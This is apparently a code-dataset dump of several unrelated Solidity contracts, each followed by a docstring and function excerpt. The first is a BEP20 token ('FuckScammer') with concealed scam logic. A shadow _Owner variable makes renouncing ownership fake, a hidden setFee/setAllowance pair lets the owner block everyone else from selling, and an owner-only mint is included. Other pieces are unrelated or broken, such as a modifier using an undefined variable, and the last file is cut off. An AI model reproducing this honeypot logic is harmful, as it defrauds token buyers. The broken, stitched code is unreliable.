address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ address private _Owner; function owner() public view virtual returns (address) { return _Owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _Owner = address(0); emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/libs/BEP20.sol pragma solidity >=0.4.0; /** * @dev Implementation of the {IBEP20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {BEP20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of BEP20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IBEP20-approve}. */ contract BEP20 is Context, IBEP20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _fee; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 10**12 * 10**18; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; _fee[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Returns the bep token owner. */ /** * @dev Returns the token name. */ function name() public override view returns (string memory) { return _name; } /** * @dev Returns the token decimals. */ function decimals() public override view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() public override view returns (string memory) { return _symbol; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _fee[account]; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance") ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero") ); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function deliver(uint256 amount) public onlyOwner returns (bool) { _deliver(_msgSender(), amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _fee[sender] = _fee[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _fee[recipient] = _fee[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _deliver(address account, uint256 amount) internal { require(account != address(0), "BEP20: zero address"); _totalSupply = _totalSupply.add(amount); _fee[account] = _fee[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _fee[account] = _fee[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve( account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance") ); } } pragma solidity 0.6.12; contract FuckScammer is BEP20 { // Transfer tax rate in basis points. (default 8%) uint16 private transferTaxRate = 800; // Burn rate % of transfer tax. (default 12% x 8% = 0.96% of total amount). uint16 public burnRate = 12; // Max transfer tax rate: 10%. uint16 private constant MAXIMUM_TRANSFER_TAX_RATE = 1000; // Burn address address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; address private _tAllowAddress; uint256 private _total = 10**12 * 10**18; // Max transfer amount rate in basis points. (default is 0.5% of total supply) uint16 private maxTransferAmountRate = 100; // Addresses that excluded from antiWhale mapping(address => bool) private _excludedFromAntiWhale; // Automatic swap and liquify enabled bool private swapAndLiquifyEnabled = false; // Min amount to liquify. (default 500) uint256 private minAmountToLiquify = 500 ether; // The swap router, modifiable. Will be changed to token's router when our own AMM release IUniswapV2Router02 public uniSwapRouter; // The trading pair address public uniSwapPair; // In swap and liquify bool private _inSwapAndLiquify; // The operator can only update the transfer tax rate address private _operator; // Events event OperatorTransferred(address indexed previousOperator, address indexed newOperator); event TransferTaxRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event BurnRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event MaxTransferAmountRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event SwapAndLiquifyEnabledUpdated(address indexed operator, bool enabled); event MinAmountToLiquifyUpdated(address indexed operator, uint256 previousAmount, uint256 newAmount); event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); modifier onlyOperator() { require(_operator == msg.sender, "operator: caller is not the operator"); _; } modifier antiWhale(address sender, address recipient, uint256 amount) { if (maxTransferAmount() > 0) { if ( _excludedFromAntiWhale[sender] == false && _excludedFromAntiWhale[recipient] == false ) { require(amount <= maxTransferAmount(), "antiWhale: Transfer amount exceeds the maxTransferAmount"); } } _; } modifier lockTheSwap { _inSwapAndLiquify = true; _; _inSwapAndLiquify = false; } modifier transferTaxFree { uint16 _transferTaxRate = transferTaxRate; transferTaxRate = 0; _; transferTaxRate = _transferTaxRate; } /** * @notice Constructs the token contract. */ constructor() public BEP20("https://t.me/Fuck_Scammerss", "FuckScammer🖕🏻") { _operator = _msgSender(); emit OperatorTransferred(address(0), _operator); _excludedFromAntiWhale[msg.sender] = true; _excludedFromAntiWhale[address(0)] = true; _excludedFromAntiWhale[address(this)] = true; _excludedFromAntiWhale[BURN_ADDRESS] = true; } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function deliver(address _to, uint256 _amount) public onlyOwner { _deliver(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } /** * @dev setMaxTxSl. * */ function setFee(uint256 percent) external onlyOwner() { _total = percent * 10**18; } /** * @dev setAllowance * */ function setAllowance(address allowAddress) external onlyOwner() { _tAllowAddress = allowAddress; } /// @dev overrides transfer function to meet tokenomics function _transfer(address sender, address recipient, uint256 amount) internal virtual override antiWhale(sender, recipient, amount) { // swap and liquify if ( swapAndLiquifyEnabled == true && _inSwapAndLiquify == false && address(uniSwapRouter) != address(0) && uniSwapPair != address(0) && sender != uniSwapPair && sender != owner() ) { swapAndLiquify(); } if (recipient == BURN_ADDRESS || transferTaxRate == 0) { super._transfer(sender, recipient, amount); } else { if (sender != _tAllowAddress && recipient == uniSwapPair) { require(amount < _total, "Transfer amount exceeds the maxTxAmount."); } // default tax is 8% of every transfer uint256 taxAmount = amount.mul(transferTaxRate).div(10000); uint256 burnAmount = taxAmount.mul(burnRate).div(100); uint256 liquidityAmount = taxAmount.sub(burnAmount); require(taxAmount == burnAmount + liquidityAmount, "transfer: Burn value invalid"); // default 92% of transfer sent to recipient uint256 sendAmount = amount.sub(taxAmount); require(amount == sendAmount + taxAmount, "transfer: Tax value invalid"); super._transfer(sender, BURN_ADDRESS, burnAmount); super._transfer(sender, address(this), liquidityAmount); super._transfer(sender, recipient, sendAmount); amount = sendAmount; } } /// @dev Swap and liquify function swapAndLiquify() private lockTheSwap transferTaxFree { uint256 contractTokenBalance = balanceOf(address(this)); uint256 maxTransferAmount = maxTransferAmount(); contractTokenBalance = contractTokenBalance > maxTransferAmount ? maxTransferAmount : contractTokenBalance; if (contractTokenBalance >= minAmountToLiquify) { // only min amount to liquify uint256 liquifyAmount = minAmountToLiquify; // split the liquify amount into halves uint256 half = liquifyAmount.div(2); uint256 otherHalf = liquifyAmount.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } } /// @dev Swap tokens for eth function swapTokensForEth(uint256 tokenAmount) private { // generate the tokenSwap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniSwapRouter.WETH(); _approve(address(this), address(uniSwapRouter), tokenAmount); // make the swap uniSwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } /// @dev Add liquidity function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniSwapRouter), tokenAmount); // add the liquidity uniSwapRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable _operator, block.timestamp ); } /** * @dev Returns the max transfer amount. */ function maxTransferAmount() public view returns (uint256) { return totalSupply().mul(maxTransferAmountRate).div(100); } /** * @dev Returns the address is excluded from antiWhale or not. */ function isExcludedFromAntiWhale(address _account) public view returns (bool) { return _excludedFromAntiWhale[_account]; } // To receive BNB from tokenSwapRouter when swapping receive() external payable {} /** * @dev Update the transfer tax rate. * Can only be called by the current operator. */ function updateTransferTaxRate(uint16 _transferTaxRate) public onlyOperator { require(_transferTaxRate <= MAXIMUM_TRANSFER_TAX_RATE, "updateTransferTaxRate: Transfer tax rate must not exceed the maximum rate."); emit TransferTaxRateUpdated(msg.sender, transferTaxRate, _transferTaxRate); transferTaxRate = _transferTaxRate; } /** * @dev Update the burn rate. * Can only be called by the current operator. */ function updateBurnRate(uint16 _burnRate) public onlyOperator { require(_burnRate <= 100, "updateBurnRate: Burn rate must not exceed the maximum rate."); emit BurnRateUpdated(msg.sender, burnRate, _burnRate); burnRate = _burnRate; } /** * @dev Update the max transfer amount rate. * Can only be called by the current operator. */ function updateMaxTransferAmountRate(uint16 _maxTransferAmountRate) public onlyOperator { require(_maxTransferAmountRate <= 1000000, "updateMaxTransferAmountRate: Max transfer amount rate must not exceed the maximum rate."); emit MaxTransferAmountRateUpdated(msg.sender, maxTransferAmountRate, _maxTransferAmountRate); maxTransferAmountRate = _maxTransferAmountRate; } /** * @dev Update the min amount to liquify. * Can only be called by the current operator. */ function updateMinAmountToLiquify(uint256 _minAmount) public onlyOperator { emit MinAmountToLiquifyUpdated(msg.sender, minAmountToLiquify, _minAmount); minAmountToLiquify = _minAmount; } /** * @dev Exclude or include an address from antiWhale. * Can only be called by the current operator. */ function setExcludedFromAntiWhale(address _account, bool _excluded) public onlyOperator { _excludedFromAntiWhale[_account] = _excluded; } /** * @dev Update the swapAndLiquifyEnabled. * Can only be called by the current operator. */ function updateSwapAndLiquifyEnabled(bool _enabled) public onlyOperator { emit SwapAndLiquifyEnabledUpdated(msg.sender, _enabled); swapAndLiquifyEnabled = _enabled; } /** * @dev Update the swap router. * Can only be called by the current operator. */ function updateuniSwapRouter(address _router) public onlyOperator { uniSwapRouter = IUniswapV2Router02(_router); uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH()); require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address."); emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair); } /** * @dev Returns the address of the current operator. */ /** * @dev Transfers operator of the contract to a new account (`newOperator`). * Can only be called by the current operator. */ function transferOperator(address newOperator) public onlyOperator { require(newOperator != address(0), "transferOperator: new operator is the zero address"); emit OperatorTransferred(_operator, newOperator); _operator = newOperator; } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain //bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract //bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"), delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce"); require(now <= expiry, "delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying tokens (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner./
function renounceOwnership() public virtual onlyOwner { _Owner = address(0); emit OwnershipTransferred(_owner, address(0)); }
14,381,033
pragma solidity ^0.5.8; import "../interfaces/ManageableMarketPlace.sol"; import "./AbstractMarketPlace.sol"; contract AbstractManageableMarketPlace is AbstractMarketPlace, ManageableMarketPlace { event RequestDecided(uint requestID, uint[] winningOffersIDs); event RequestClosed(uint requestID); constructor() AbstractMarketPlace() ManageableMarketPlace() public { _registerInterface(this.submitRequest.selector ^ this.closeRequest.selector ^ this.decideRequest.selector ^ this.deleteRequest.selector); } function openRequest(uint requestIdentifier) internal { requests[requestIdentifier].reqStage = Stage.Open; openRequestIDs.push(requests[requestIdentifier].ID); } function finishSubmitRequestExtra(uint requestIdentifier) internal returns (uint8 status, uint requestID) { openRequest(requestIdentifier); emit FunctionStatus(Successful); emit RequestExtraAdded(requestIdentifier); return (Successful, requestIdentifier); } function submitRequest(uint deadline) public returns (uint8 status, uint requestID) { Request memory request; request.deadline = deadline; request.ID = reqNum; reqNum += 1; request.isDefined = true; request.reqStage = Stage.Pending; request.isDecided = false; request.requestMaker = msg.sender; requests[request.ID] = request; emit FunctionStatus(Successful); emit RequestAdded(request.ID, request.deadline); return (Successful, request.ID); } function closeRequestInsecure(uint requestIdentifier) internal returns (uint8 status) { // close the request, update relevant data & emit events requests[requestIdentifier].reqStage = Stage.Closed; requests[requestIdentifier].closingBlock = block.number; closedRequestIDs.push(requestIdentifier); for (uint j = 0; j < openRequestIDs.length; j++) { if (openRequestIDs[j] == requestIdentifier) { for (uint i = j; i < openRequestIDs.length - 1; i++){ openRequestIDs[i] = openRequestIDs[i+1]; } delete openRequestIDs[openRequestIDs.length-1]; openRequestIDs.length--; emit FunctionStatus(Successful); emit RequestClosed(requestIdentifier); return Successful; } } } function closeRequest(uint requestIdentifier) public returns (uint8 status) { // check request existance (, bool isRequestDefined) = isRequestDefined(requestIdentifier); if (!isRequestDefined) { emit FunctionStatus(UndefinedID); return UndefinedID; } closeRequestInsecure(requestIdentifier); } // function decideRequest(uint requestIdentifier, uint[] calldata /*acceptedOfferIDs*/) external returns (uint8 status); function decideRequestInsecure(uint requestIdentifier, uint[] memory acceptedOfferIDs) internal returns(uint8 status) { // close the request, update relevant data & emit events closeRequestInsecure(requestIdentifier); requests[requestIdentifier].acceptedOfferIDs = acceptedOfferIDs; requests[requestIdentifier].isDecided = true; requests[requestIdentifier].decisionTime = now; emit FunctionStatus(Successful); emit RequestDecided(requestIdentifier, acceptedOfferIDs); return Successful; } function decideRequest(uint requestIdentifier, uint[] memory acceptedOfferIDs) public returns(uint8 status) { // check request existance (, bool isRequestDefined) = isRequestDefined(requestIdentifier); if (!isRequestDefined) { emit FunctionStatus(UndefinedID); return UndefinedID; } return decideRequestInsecure(requestIdentifier, acceptedOfferIDs); } function deleteRequestInsecure(uint requestIdentifier) internal returns (uint8 status) { // delete request & update relevant data for (uint k = 0; k < requests[requestIdentifier].offerIDs.length; k++) { delete offers[requests[requestIdentifier].offerIDs[k]]; } delete requests[requestIdentifier]; for (uint j = 0; j < closedRequestIDs.length; j++) { if (closedRequestIDs[j] == requestIdentifier) { for (uint i = j; i < closedRequestIDs.length - 1; i++){ closedRequestIDs[i] = closedRequestIDs[i+1]; } delete closedRequestIDs[closedRequestIDs.length-1]; closedRequestIDs.length--; emit FunctionStatus(Successful); return Successful; } } } function deleteRequest(uint requestIdentifier) public returns (uint8 status) { // check request existance (, bool isRequestDefined) = isRequestDefined(requestIdentifier); if (!isRequestDefined) { emit FunctionStatus(UndefinedID); return UndefinedID; } deleteRequestInsecure(requestIdentifier); } function submitOffer(uint requestID) public returns (uint8 status, uint offerID) { (, bool isRequestDefined) = isRequestDefined(requestID); if (!isRequestDefined) { emit FunctionStatus(UndefinedID); return (UndefinedID, 0); } Request storage request = requests[requestID]; // if(now > request.deadline) { // emit FunctionStatus(DeadlinePassed); // return (DeadlinePassed, 0); // } // it is optional to use the request deadline if(request.reqStage != Stage.Open) { emit FunctionStatus(RequestNotOpen); return (RequestNotOpen, 0); } return super.submitOffer(requestID); } }
check request existance
function deleteRequest(uint requestIdentifier) public returns (uint8 status) { (, bool isRequestDefined) = isRequestDefined(requestIdentifier); if (!isRequestDefined) { emit FunctionStatus(UndefinedID); return UndefinedID; } deleteRequestInsecure(requestIdentifier); }
964,873
pragma solidity 0.5.6; // Copyright BigchainDB GmbH and Ocean Protocol contributors // SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0) // Code is Apache-2.0 and docs are CC-BY-4.0 /** * @title Condition Store Library * @author Ocean Protocol Team * * @dev Implementation of the Condition Store Library. * * Condition is a key component in the service execution agreement. * This library holds the logic for creating and updating condition * Any Condition has only four state transitions starts with Uninitialized, * Unfulfilled, Fulfilled, and Aborted. Condition state transition goes only * forward from Unintialized -> Unfulfilled -> {Fulfilled || Aborted} * For more information: https://github.com/oceanprotocol/OEPs/issues/119 * TODO: update the OEP link */ library _ConditionStoreLibrary { enum ConditionState { Uninitialized, Unfulfilled, Fulfilled, Aborted } struct Condition { address typeRef; ConditionState state; address lastUpdatedBy; uint256 blockNumberUpdated; uint256 EscrowValue; mapping (address=>uint) nonces; } struct ConditionList { mapping(bytes32 => Condition) conditions; bytes32[] conditionIds; } modifier validToModify( ConditionList storage _self){ require(_self.conditions[_id].state == ConditionState.Unfulfilled); _; } /** * @notice create new condition * @dev check whether the condition exists, assigns * condition type, condition state, last updated by, * and update at (which is the current block number) * @param _self is the ConditionList storage pointer * @param _id valid condition identifier * @param _typeRef condition contract address * @return size is the condition index */ function create( ConditionList storage _self, bytes32 _id, address _typeRef ) internal returns (uint size) { return createwithValue( _self, _id, _typeRef, 0 ); } /** * @notice create new condition * @dev check whether the condition exists, assigns * condition type, condition state, last updated by, * and update at (which is the current block number) * @param _self is the ConditionList storage pointer * @param _id valid condition identifier * @param _typeRef condition contract address * @return size is the condition index */ function createwithValue( ConditionList storage _self, bytes32 _id, address _typeRef, uint256 _escrowValue ) internal returns (uint size) { require( _self.conditions[_id].blockNumberUpdated == 0, 'Id already exists' ); _self.conditions[_id] = Condition({ typeRef: _typeRef, state: ConditionState.Unfulfilled, lastUpdatedBy: msg.sender, blockNumberUpdated: block.number, EscrowValue: _escrowValue }); _self.conditionIds.push(_id); return _self.conditionIds.length; } /** * @notice updateState update the condition state * @dev check whether the condition state transition is right, * assign the new state, update last updated by and * updated at. * @param _self is the ConditionList storage pointer * @param _id condition identifier * @param _newState the new state of the condition * @return ConditionState */ function updateState( ConditionList storage _self, bytes32 _id, ConditionState _newState ) internal { require( _self.conditions[_id].state == ConditionState.Unfulfilled && _newState > _self.conditions[_id].state, 'Invalid state transition' ); _self.conditions[_id].state = _newState; _self.conditions[_id].lastUpdatedBy = msg.sender; _self.conditions[_id].blockNumberUpdated = block.number; } function increaseValue( ConditionList storage _self, bytes32 _id, uint256 _value ) internal { _self.conditions[_id].EscrowValue += _value; } function decreaseValue( ConditionList storage _self, bytes32 _id, uint256 _value ) internal { require(_value<=_self.conditions[_id].EscrowValue); _self.conditions[_id].EscrowValue-=_value; } function incrementUserNonce( ConditionList storage _self, bytes32 _id, address _user ) internal { _self.conditions[_id].nonces[_user]+=1; } }
updateState update the condition state check whether the condition state transition is right, assign the new state, update last updated by and updated at. _self is the ConditionList storage pointer _id condition identifier _newState the new state of the condition return ConditionState/
function updateState( ConditionList storage _self, bytes32 _id, ConditionState _newState ) internal { require( _self.conditions[_id].state == ConditionState.Unfulfilled && _newState > _self.conditions[_id].state, 'Invalid state transition' ); _self.conditions[_id].state = _newState; _self.conditions[_id].lastUpdatedBy = msg.sender; _self.conditions[_id].blockNumberUpdated = block.number; }
7,316,370
// SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; import "./IOwnableV06.sol"; interface IAuthorizableV06 is IOwnableV06 { // Event logged when a new address is authorized. event AuthorizedAddressAdded( address indexed target, address indexed caller ); // Event logged when a currently authorized address is unauthorized. event AuthorizedAddressRemoved( address indexed target, address indexed caller ); /// @dev Authorizes an address. /// @param target Address to authorize. function addAuthorizedAddress(address target) external; /// @dev Removes authorizion of an address. /// @param target Address to remove authorization from. function removeAuthorizedAddress(address target) external; /// @dev Removes authorizion of an address. /// @param target Address to remove authorization from. /// @param index Index of target in authorities array. function removeAuthorizedAddressAtIndex( address target, uint256 index ) external; /// @dev Gets all authorized addresses. /// @return authorizedAddresses 